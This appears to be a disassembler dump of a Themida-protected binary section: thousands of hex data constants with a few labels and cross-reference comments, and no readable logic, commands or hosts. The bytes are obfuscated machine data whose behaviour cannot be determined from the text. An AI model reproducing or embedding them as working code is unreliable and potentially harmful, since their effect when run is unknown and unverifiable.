		dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0AB2206C3h, 5BAD66B2h, 0B095F4h, 0E6816660h
		dd 0F18BB08Fh, 6A70E661h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F97DC353h,	177E178Dh
		dd 72591679h, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0CA7C70C3h, 597D3108h, 35C1C8Fh
		dd 480D81B5h, 0F613C06h, 18983h, 0A5BD0B00h, 0F06480Fh
		dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD0900C3h, 6481851h, 6BAh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0E9C38B2Ah, 0Dh, 96AD8303h, 182578BBh, 943CF3B8h, 4E8C1B9h
		dd 0E31B58Bh, 0F7660648h, 66D82BE2h, 0F958F98Bh, 98DB509h
		dd 0D82B0648h, 108880Fh, 6E90000h, 61000000h, 0C07BAD86h
		dd 7B9A1h, 0C1830000h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0E8D41413h, 1A019589h
		dd 0D93B0648h, 0C8860Fh, 8F0F0000h, 6, 0D29BD89h, 8C660648h
		dd 56006AD9h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 304CD976h, 1B58B00h, 0F6064818h,	840F04C1h
		dd 88h,	75DBE781h, 95FF1073h, 64806A1h,	1B1D9D89h, 0E95B0648h
		dd 0Ch,	4E708943h, 7EBF6664h, 7E813A0Fh, 6AC32Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 1E385FC3h, 34356E2Fh, 8D18D01h, 343D0648h, 0F000008h
		dd 2F86h, 29BD8B00h, 0E9064815h, 26h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 84C35141h, 0DE3B9B23h, 319EA435h
		dd 0C38BC08Bh, 6AD88Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 59A864C3h, 51D85C7h, 0FB550648h
		dd 0F18B1124h, 6AC08Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 5558F7C3h, 0E5BD81EBh, 0D0064805h
		dd 0F000007h, 3785h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 31936EA5h, 88F0F96h, 0F000000h
		dd 284h, 0FFE8B00h, 85FFF0BFh, 64805E5h, 5E5B5FFh, 5E500648h
		dd 306195FFh, 8C0F0648h, 6, 8BF8B060h, 0BF9061D9h, 26D34AB8h
		dd 0FF28B60h, 6A61FEBFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0B98BC355h,	0DC3E627Ah
		dd 66FA18B7h, 0B3BCEBEh, 482EF5B5h, 0B58B6006h,	6482795h
		dd 80D3BF0Fh, 0E9569CC1h, 13h, 0C393E091h, 0D0AF091Ah
		dd 7F49636Bh, 3EEB702h,	0E88842B9h, 11h, 2D222859h, 82CF10ADh
		dd 659382B5h, 0D077FC6Ah, 615E5F43h, 31D18D29h,	95890648h
		dd 6481041h, 1D9D0156h,	5E06481Bh, 6AFAB70Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0A9F1C351h, 50B89C8Ah, 9D89F18Bh, 6481A95h, 0FFB70F5Fh
		dd 1021B58Bh, 8F0F0648h, 0Ah, 2369BF66h, 0D5B589h, 6A0648h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 430253C3h, 0CC61C74Ah, 800FECEAh, 8,	9D29F88Bh
		dd 648225Dh, 605BD8Bh, 0EEE90648h, 6AFFFFF7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0BDFC355h, 371CD89Fh, 0BF0FB70Bh
		db 0F9h
byte_57CB45	db 8Bh,	0C1h, 0EBh	; DATA XREF: Themida_:0053E7BCo
		dd 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0CC37C740h, 138A0Fh, 0EE90000h, 7F000000h
		dd 0FE9B3852h, 72D65A81h, 76DD795Ch, 0FD858D38h, 6A064832h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A4A8C350h, 0F10B29A3h, 11E890h, 0C4100000h
		dd 1DE9031Eh, 24D99E3Ch, 0C97E7113h, 53E306DDh,	90505E5Eh
		dd 2D15BD23h, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 41C35040h, 0F56FA8AAh, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0BCA463C3h, 9C68166h, 5D952930h, 8D06481Dh, 4BFFE685h
		dd 0BD8D8906h, 81064825h, 314B64C6h, 5C0837Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4DC35545h, 57A56F8Ch
		dd 4FFEA14Eh, 0CE8h, 66EB3F00h,	8CD936F4h, 429F355Bh, 51CF817Eh
		dd 5F787995h, 0CE850F9h, 6C000000h, 2E584A4Ah, 2DD35230h
		dd 66730D34h, 895FFA8Bh, 9D892404h, 6480D89h, 9589006Ah
		dd 6481D55h, 8166006Ah,	0F8682D7h, 1E8Ch, 18810F00h, 0E8000000h
		dd 12h,	0CAEE4C6Fh, 0B74ED552h,	639771CAh, 980E95D5h, 0FF5E408Dh
		dd 48277D95h, 0C38B6006h, 1F99B589h, 8D610648h,	4B9C149Dh
		dd 0EACF8106h, 0FF3E4506h, 57006AD3h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0C7CF7BE2h
		dd 7E82Ch, 1ABF0000h, 0C175BA8Dh, 0FE90Fh, 0DCA70000h
		dd 0F30A0FCEh, 0C62914F6h, 47BAC7CDh, 0BF0F5EA3h, 2D85FFFBh
		dd 6A06480Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 53D3C357h, 2FFD8D2Fh, 68F0F97h
		dd 89000000h, 480B3595h, 7CFE906h, 0E80000h, 5D000000h
		dd 0FFF0ED81h, 89F9064Bh, 483019BDh, 0E5BD8106h, 0D0064805h
		dd 0F000007h, 1A186h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0FC53321Ch, 1E800Fh, 12E80000h
		dd 33000000h, 0BB35AF54h, 9B8C9911h, 0B8F37412h, 254D6F84h
		dd 0CAD7815Bh, 5F1F12DEh, 1A919D8Bh, 6A0648h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 4EF91CC3h
		dd 18870Fh, 0CE80000h, 0EC000000h, 0BF49A384h, 671DA23Bh
		dd 81695F91h, 1C29BDCFh, 0E3815F7Bh, 100h, 2481B50Bh, 0DB0B0648h
		dd 0A2850Fh, 9D890000h,	6482A95h, 0FDDABD83h, 0F00064Bh
		dd 4284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0A2F2378Dh, 86BF7A2Eh, 0F22A58Eh
		dd 68Fh, 0F5B58B00h, 0E9064832h, 88h, 0D30FF4BEh, 0ED85891Bh
		dd 0C7064805h, 4BFDDA85h, 106h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E1BD8B25h
		dd 0E9064820h, 4Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0E5C35646h, 0FDDA85C7h, 64Bh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 89FA50C3h, 482D098Dh, 0FAB70F06h, 1A919D8Dh,	0BF660648h
		dd 23813474h, 0FFFFFEFFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 6EC35545h, 0FE8B663Dh, 0F518D89h, 8C660648h
		dd 15BD8BDBh, 0F6064806h, 840F04C3h, 54h, 0DFDB501h, 95FF0648h
		dd 64806A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	37C35747h, 0F9BF0FE0h, 505E5090h, 17860Fh, 11E80000h
		dd 87000000h, 0D2C80BDAh, 2910D709h, 0A9B4686Ah, 0D7B05777h
		dd 0BD8B905Fh, 64831DDh, 3D8E9h, 68D0F00h, 89000000h, 482D35BDh
		dd 0F800B006h, 2DBF70E6h, 0E4610EADh, 0C7816671h, 0B60FA052h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 4C287372h, 850F9FD1h, 6,	2405BD8Bh, 0E7810648h
		dd 4360B268h, 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 6AC38BDCh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0C010C353h
		dd 0BD89562Ch, 6480E85h, 4E8C15Eh, 1891B589h, 0F7660648h
		dd 51006AE2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0EC84973Ch, 6673DBB3h, 8330CF81h, 0B503D82Bh
		dd 64819ADh, 0BE8h, 3846AB00h, 4E5D582Fh, 577D4FAFh, 5FFB8B66h
		dd 66525050h, 310FFE8Bh, 7E9h, 3DAC6700h, 0CF5E938Dh, 1C89585Ah
		dd 558D8924h, 0FF064825h, 4805E5B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1BF5DD1Eh
		dd 899B9D97h, 48219185h, 0EDB58B06h, 0FF064827h, 48306195h
		dd 6810F06h, 29000000h,	48071DBDh, 2900B006h, 482A9595h
		dd 8B70E606h, 10E8F2h, 5450000h, 0C1F56377h, 2E02948Fh
		dd 6ACA961Ah, 0B58BB80Bh, 6481505h, 6A71E45Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 40C5C353h, 3C1051B9h, 36830F61h, 89000002h, 4830E5BDh
		dd 0D8B60F06h, 6BAh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0C38B5B54h, 6A04E8C1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0AA4AC351h, 0BFD33E63h, 0DF29C8Eh, 6AE2F766h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 33CDC352h, 0A2F1ADF4h, 7E9ABh, 0EF30000h
		dd 8FA7C30Eh, 6AD82B9Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 8018C356h, 0EE9F9h
		dd 0B9150000h, 1FEB461Ch, 532419ABh, 1929D16Eh,	99B52358h
		dd 2B064821h, 6E880FD8h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0C9B3C352h
		dd 0E4D2E5F8h, 0F45AFA4h, 7B9F2BFh, 81000000h, 18FD9DEEh
		dd 255DBF1Fh, 0C18370A3h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0DF09EA93h
		dd 0CE9h, 0FD57BA00h, 3A03C121h, 0AF61685Dh, 0FE9F8h, 29610000h
		dd 0E5EFF549h, 0A5B75FFFh, 988F15EFh, 0FD93B54h, 0E886h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 8639CC3h, 6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0D11C353h
		dd 0AFEB768Eh, 0F04C1F6h, 7384h, 0A195FF00h, 0E9064806h
		dd 6, 13E7D8F0h, 8B66432Ah, 0BD8B5BF2h,	648227Dh, 6AC32Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 1FE852C3h, 0B44FF08Eh, 0E86BA8B6h, 6, 0AF8EE42Ch, 840FE50Fh
		dd 6, 0D3D8D89h, 3D5E0648h, 834h, 0E860Fh, 8B660000h, 2FE9F8h
		dd 0BD8B0000h, 6480485h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0A64747C3h, 9E634A77h
		dd 5EEF8166h, 8BC38BC8h, 68E0FD8h, 81000000h, 90DD25EFh
		dd 7185C74Eh, 5D064830h, 6A1CD8F9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 3EA9C353h
		dd 8BFBBF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 1B760F3h,	0E5BD8161h, 0D0064805h
		dd 0F000007h, 3685h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 51AC7EDh, 93AC5D16h, 0C19D89EFh
		dd 0FF064818h, 4805E585h, 89BD8B06h, 0FF06482Bh, 4805E5B5h
		dd 95FFFC06h, 6483061h,	0F590F88Bh, 2059BD03h, 0B5010648h
		dd 6482EC9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0F6C35242h, 99AF88CFh, 14880Fh,	0E9560000h, 7
		dd 17DBC794h, 5FF80F0Ch, 3294D681h, 0FA8B7F52h,	102D8529h
		dd 0BD8B0648h, 6480C49h, 24A59509h, 8B660648h, 858D01FBh
		dd 66064804h, 0E9DD88BEh, 6, 466A47CBh,	6A6919h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0A6FA1CC3h, 0FBB70F4Ch, 0ADB58BF9h, 6A064826h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0BBD6C351h, 0B2DABCB8h, 8A5F9C3Fh, 8E9h, 0D6F9D400h
		dd 1584AE97h, 55006AD6h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0BF2A7706h, 66F9BF0Fh, 6A5927BFh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 6911C357h, 0FFF831E9h, 6AC18BFFh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 2AAFC350h, 6D763887h, 0AE8D592h, 0B9000000h,	49135C2Ch
		dd 307AF74Fh, 3195014Eh, 5E06480Fh, 4EBh, 0F38B0000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 12C35646h, 0F6EFF0EEh
		dd 38C5928h, 48321DB5h,	8B666006h, 158D8BF9h, 6106481Ah
		dd 32FD858Dh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 80F755C3h, 7BB00BE2h, 0E890B3E5h
		dd 10h,	5ED8012Eh, 0F65BF7E6h, 0F8546E8Ch, 8D1CEEC6h, 52EBBE66h
		dd 6660505Eh, 663ABFB9h, 9061DE8Bh, 18A5BD8Bh, 6A0648h
		dd 1D1DBD29h, 6A0648h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 94C35646h, 0CC0D2FD3h, 53F1CCD6h, 0DFDF8166h
		dd 11E9EDh, 77550000h, 0BF2DF4B3h, 8BD511BFh, 0EE6834E2h
		dd 8DC829CEh, 4C09A185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 22706DBCh, 8D09F4E5h
		dd 64815C5h, 8905C083h,	481A5D95h, 52505006h, 585A310Fh
		dd 89240489h, 482B11BDh, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C245C352h
		dd 290282EAh, 482C1D9Dh, 66006A06h, 95FFF98Bh, 648277Dh
		dd 13E9F560h, 1E000000h, 8B7B2E25h, 4886E18h, 0AE2CC30Dh
		dd 497369D3h, 8D61E9EFh, 4B9C149Dh, 0D3FFF806h,	6800Fh
		dd 0BD8B0000h, 6480A39h, 0FE8h,	79E51900h, 0E01A88B4h
		dd 0B0F55082h, 3B38F2A5h, 14D1B58Bh, 0FF5E0648h, 480A2D85h
		dd 505CBF06h, 0F18B4F86h, 81EE9h, 0E800h, 815D0000h, 4C09ABEDh
		dd 7D958906h, 8106482Ch, 4805E5BDh, 7D006h, 84860F00h
		dd 89000001h, 4820158Dh, 0FD9D8B06h, 6A06481Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0C3CEC356h, 8B2814E7h, 4824A5BDh, 0E38106h, 66000001h
		dd 0B1C0ABFh, 0B5850FDBh, 81000000h, 45375ADFh,	0F7BD8375h
		dd 64C07h, 78840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 160424h, 56460000h, 0CC6942C3h, 0CE8h, 0CE681400h
		dd 2814E7C3h, 4E091B57h, 8E8A3h, 9B730000h, 0A5EF35ABh
		dd 5E531CD7h, 8B505F5Eh, 482B2DB5h, 85E95F06h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0D3A6C350h, 983BF21h, 5F940A66h, 0D29B50Bh
		dd 85C70648h, 64C07F7h,	1, 18AD8589h, 45E90648h, 0E9000000h
		dd 10h,	9CB0320h, 2C8C9C9Eh, 6CE7CB61h,	144535Ah, 7F785C7h
		dd 64Ch, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 180424h, 55450000h, 227B17C3h, 9D096F0Eh, 6480D4Dh
		dd 1FFD9D8Dh, 13E90648h, 0A3000000h, 0CAC8B30Bh, 0AF2EF6Ch
		dd 2B5B7A78h, 391B67A7h, 9E8BF39h, 5B000000h, 6976CC2Dh
		dd 278C05F8h, 44311BBFh, 23815F6Dh, 0FFFFFEFFh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C35646h, 0CEEF9810h
		dd 66F08B66h, 870FDB8Ch, 6, 246D9D01h, 0C3F60648h, 35840F04h
		dd 81000000h, 9A6891F7h, 0A195FF1Ah, 0F064806h,	5090F7BFh
		dd 60310F52h, 0DE95856h, 0EA000000h, 9ADE86C0h,	7D295D95h
		dd 0EBD95F81h, 50585A61h, 0BF90F28Bh, 4BBAED99h, 423E9h
		dd 0FA8B6000h, 0B061F9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0B8C35141h, 0AEE5BC59h, 0BD8BF76Ah, 6480579h
		dd 0A2BF70E6h, 0E44CF6DEh, 5B52971h, 8B06481Ch,	0D8B60FF9h
		dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0B58B6FD4h, 6480ADDh, 6AC38Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 40349AC3h, 8958671Eh, 480AA185h, 4E8C106h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E5C35343h, 2BC3F21Eh
		dd 13135E8Fh, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B0DEC356h,	0E3CDAA54h
		dd 9E956F9h, 70000000h,	55FBBA53h, 0A86EF82Ch, 0E9D82B5Eh
		dd 0Fh,	0C7587ADh, 629A0D65h, 69A6111Eh, 50AAD0C8h, 0BE957h
		dd 787D0000h, 80AB6807h, 589B2216h, 1C895E79h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0ECC100D5h, 0FFD51E7Eh, 4805E5B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0D1091416h, 0F15F632h, 95FFF9BFh, 6483061h, 259D9529h
		dd 0B00648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	76C35545h, 67E14E97h, 0BD89E7E5h, 6480D25h, 495B589h
		dd 70E60648h, 24A59589h, 71E40648h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 21C35646h, 25D20C6Ch, 0DCBF94AAh
		dd 0B503D681h, 0BF0F63C1h, 0F613CF8h, 23F83h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 4750A477h, 8B0FD9h, 0F000000h, 6AD8B6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0C57325C3h
		dd 0BAFB35EFh, 6, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 8DC35545h, 169B1099h
		dd 0FC62C9Bh, 38Fh, 0F88B6600h,	6AC38Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 19DF63C3h
		dd 60D95120h, 8589F08Bh, 6482F99h, 4E8C161h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 17C35040h, 0F76614C9h
		dd 57006AE2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 67103562h, 1A81BD89h, 0BF660648h, 0D82BAA6Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EBC35040h
		dd 2D076329h, 0BD8963C0h, 64832C5h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0FD82BF7h
		dd 0FB88h, 9733BF00h, 7B93574h,	9000000h, 481B41B5h, 0F08B6606h
		dd 6A00C183h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0EB85C357h, 0B29D4C14h, 0DE838h
		dd 5D800000h, 0DE6774E6h, 0EFF48589h, 66D3472Ah, 5E85E3BFh
		dd 0B1B58952h, 5E064808h, 860FD93Bh, 9Ch, 1B75BD31h, 8C660648h
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 758E8A73h, 0C1B25C3Dh, 518D892Eh, 0F606480Ch
		dd 840F04C1h, 5Bh, 6A195FFh, 0BF660648h, 0CE9591Dh, 0C9000000h
		dd 93C9FC04h, 0E033791Ah, 5BB89965h, 2E69BD8Bh,	0C32B0648h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B6C35747h
		dd 0EDCC923Ah, 343D3071h, 0F000008h, 0A86h, 0AE900h, 81660000h
		dd 8BAD7DCFh, 0FFB70FC0h, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 85C35040h, 8A2FFA37h, 0B70FC722h
		dd 1CBF57FFh, 5F468128h, 1A9185C7h, 0C15D0648h,	6A70A5h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0E5821FC3h, 0FD5C9614h, 0A0D8589h, 0C08B0648h, 81F2BF0Fh
		dd 4805E5BDh, 7D006h, 21850F00h, 23000000h, 4808A1B5h
		dd 0E585FF06h, 0E9064805h, 10h,	0D86B2786h, 98E8F518h
		dd 7ACDCB57h, 3D99905Eh, 5E5B5FFh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0CEFC93C3h
		dd 6195FF6Fh, 90064830h, 11E8h,	0C5FCE00h, 9AF7EF57h, 8188C184h
		dd 76A44DBCh, 24BF8331h, 661FE70Ah, 0CDA0DE81h,	7EF6815Eh
		dd 90F8704h, 48303D85h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0D62118A4h, 0D8DA220Fh
		dd 5E8h, 30BF9800h, 0DCBED65Dh,	23794BBBh, 481489B5h, 13E95E06h
		dd 8B000000h, 49BB4DFDh, 0A74D1187h, 0B9430729h, 8AAA102h
		dd 0BD89E811h, 648186Dh, 2A39B50Bh, 8C0F0648h, 0Ch, 6810Fh
		dd 830F0000h, 0
		dd 245D9501h, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 660DF9C3h, 0D59D89B6h, 66064800h
		dd 66EEDE81h, 0FFDBF66h, 283DB7BFh, 0F6816622h,	0BF0F1379h
		dd 89F98BF0h, 4831DD95h, 9E906h, 0D5560000h, 0A0ED952Ah
		dd 0E98665F7h, 12h, 6B57B86Ch, 81DEEF68h, 4BE5033Ah, 5661F1EAh
		dd 7E8B678h, 24000000h,	0E4B11E02h, 0E95FC7BDh,	0FFFFF805h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 39C35545h
		dd 0BD739D3Fh, 8B6F7F8Ch, 55006AC1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 97786D54h
		dd 9E8h, 310AC500h, 8A321DCFh, 0BD2B4FF7h, 6482EF5h, 4EB5Fh
		dd 8B000000h, 482DA1B5h, 0FD858D06h, 90064832h,	0BF665250h
		dd 310F1313h, 0E2BFBE66h, 5750585Ah, 0FB9B060h,	8Bh, 905F6100h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 32C35242h
		dd 210EFC53h, 25D20C6Ch, 8BFBBF0Fh, 481DFDBDh, 9006A06h
		dd 4819E9BDh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0FEF1C353h,	7A9D441Fh
		dd 0BE28E58Eh, 9D895660h, 648102Dh, 0E5B5895Fh,	61064829h
		dd 0B0C68166h, 614FBF97h, 858D1DA4h, 64C13C2h, 8B98589h
		dd 85890648h, 6480935h,	0F905C083h, 14E86090h, 0E6000000h
		dd 0DE1F3816h, 19EE0DF1h, 9F31BA41h, 0DE013CAEh, 50546BA3h
		dd 5A310F52h, 0F2BE5858h, 610D7FEFh, 14E850h, 0FCC70000h
		dd 7203B922h, 0FDA4C207h, 0B05527A0h, 9F121C45h, 8F0F7959h
		dd 2, 905F6160h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	94C35141h, 860D9980h, 60B1BAC1h, 1CC18166h, 0C28166B6h
		dd 8B61AA05h, 6A006AF0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3F3BC353h, 8AF35E6Fh
		dd 662E070Eh, 6A1E1CBFh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8589507Ah, 6482A05h, 15719D89h
		dd 95FF0648h, 648277Dh,	95B58B57h, 5F064815h, 9C149D8Dh
		dd 8B60064Bh, 4830A1BDh, 0D3BE6106h, 0FF3EE448h, 4DB589D3h
		dd 0FF06480Eh, 480A2D85h, 9D9D2906h, 9064822h, 48216D85h
		db 6
byte_57E131	db 0E9h, 0CFh, 8	; DATA XREF: Themida_:0053D628o
		db 2 dup(0)
word_57E136	dw 0E8h			; DATA XREF: Themida_:0053F774o
		dd 5D000000h, 13CCED81h, 10E8064Ch, 0FF000000h,	7D4C7475h
		dd 0E4FCB186h, 347D5A5Eh, 89FCC3DDh, 480D1585h,	0F575F06h
		dd 38Dh, 0FEB70F00h, 0E5BD815Fh, 0D0064805h, 0F000007h
		dd 18586h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 56DE6A8Fh, 9D8BBA4Fh, 64820FDh, 284DBD8Bh
		dd 0E3810648h, 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 4AC35646h, 4E443A78h,	0FDB0BFCh, 0C685h
		dd 4DBD3300h, 8306482Eh, 4C11FCBDh, 840F0006h, 55h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4BC35141h, 8D8940C9h
		dd 6480A81h, 3820Fh, 0B70F0000h, 0A9E9FAh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 899484C3h, 481A71BDh, 0FC85C706h, 1064C11h, 0E8000000h
		dd 0Ch,	7B132679h, 8680BB3Eh, 0BB92639Eh, 8A5BD31h, 0E95E0648h
		dd 5Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh
		dd 0E0C35343h, 8730A947h, 0B83829DEh, 7D9D0993h, 89064819h
		dd 482F1D95h, 14E68106h, 0C77DAF17h, 4C11FC85h,	6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8DFC1796h, 4820FD9Dh, 0A5BD8B06h, 81064824h,	0FFFEFF23h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 3F784544h, 5FF08B53h, 1F59BD09h,	8C660648h
		dd 0E78166DBh, 0B70FC45Ah, 4C3F6F7h, 83840Fh, 0F98B0000h
		dd 6A195FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
